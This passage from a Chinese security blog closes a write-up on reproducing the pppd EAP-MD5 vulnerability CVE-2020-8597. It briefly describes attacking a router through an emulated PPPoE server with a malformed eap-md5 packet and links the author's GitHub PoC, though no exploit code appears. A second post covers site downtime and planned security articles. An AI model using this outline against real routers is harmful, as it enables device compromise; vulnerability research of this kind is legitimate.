shellcode(圈起部分为端口、ip地址)(端口值要减0x100)

具体PoC见我Github的Repo

0x06 漏洞利用

这里因为之前用来复现的路由器,博主不小心把Bootloader刷没了,所以看还在7天无理由时间内就直接退款了。。(其实还拆过机原本打算直接编程器刷回来的,但是一看flash用的是nand我就告辞了)

(这里其实也没什么好说的,网上一堆教程,不过基本上没有提过具体原理)

这里就简略描述一下过程具体利用原理吧

首先,由于这个漏洞在于pppd对于eap-md5的处理函数里面,我们需要先模拟路由器于PPPoE服务器直接的通讯,这里直接用某大佬写的脚本,简单通过python实现了一个PPPoE服务器

我们Poc的作用是通过一个有问题的eap-md5数据包来攻击

0x07 真机调试

其实这一步骤应该在之前的,不过因为上述原因,我路由器退货了,等什么时候开学买回来之后看看有没有空补上吧(不过不出意外90%会鸽)

0x08 附件

基本上本文用到的文件我都传到我Github上了,要的自己去取即可

传送门:https://github.com/lakwsh/CVE-2020-8597

(另外,求Star!!求关注!!)

近期更新计划

0x00 关于本站

首先说一下本站的一些近期问题

嗯,如果有在这几个月内试图访问过本站的朋友可能已经发现了一个问题——首页始终提示数据库连接失败。这是因为本站的web服务和数据库服务分开在两台服务器分别运行的,而数据库服务器在2020年9月19号的时候彻底失联了(是的,是失联,事前我可没收到任何消息。。)

被逼无奈之下,由于数据库服务器的上一次备份在有点久远的时间点。。所以本人决定等待机子数据归来(这一等就是整整4个月啊,雾),于是乎本站也因此直接暴毙了整整4个月(至于为什么数据库服务器会直接失联,因为某次净网行动,整个数据中心都被查水表了,我的机子也一起离我而去了。。具体原因也没什么好说的,都过去了)

现在机子数据回来了,数据库也迁移完成了,本站于是乎也就再次能够访问了(虽然还是有个问题。。嗯,你会发现有部分网页因为ssl原因无法访问,具体我折腾了很久都不知道要怎么解决,于是就先放着了。。有空再看看)

0x01 近期更新计划

又到了一年一度的寒假期间,博主也终于有空可以抽时间出来写写博客了(虽然之前也不是没有,但是毕竟懒,能摸为什么不摸呢~)

因为博主最近热衷于从事安全方面的研究(具体是两年前才从0开始接触),比如固件安全、网络安全之类的,于是乎最近的更新计划也打算写一些更加有技术含量的东西(也就只有那么一点点)

比如CVE-2020-8597的漏洞原理及复现(不出意外下一篇就是这个),然后是近期最新型的堆攻击方式House Of Rust的分析(前提是我如果能看懂吧、、汗)

0x02 致谢

这次更新也就先这样吧,毕竟只是冒个泡,表示一下博主还存活着、

最后,虽然不知道时隔4个月后本站还有多少小伙伴在关注(其实我个人感觉已经一个人都没有了。。),不过如果还有的话,还是非常谢谢大家的,谢谢各位关注着这个已经很久每更新、甚至访问不了的博客xD。

如果没有的话,其实也不要紧,毕竟当你看到这篇文章的时候,起码证明本站还是有访客的,也谢谢各位读者(起码说明我创建这个博客不是在自娱自乐,而是还有那么一点点用处的)

0x03 后续消息

2021-02-05:关于ssl问题已经解决,经查该问题与机房端口污染有关系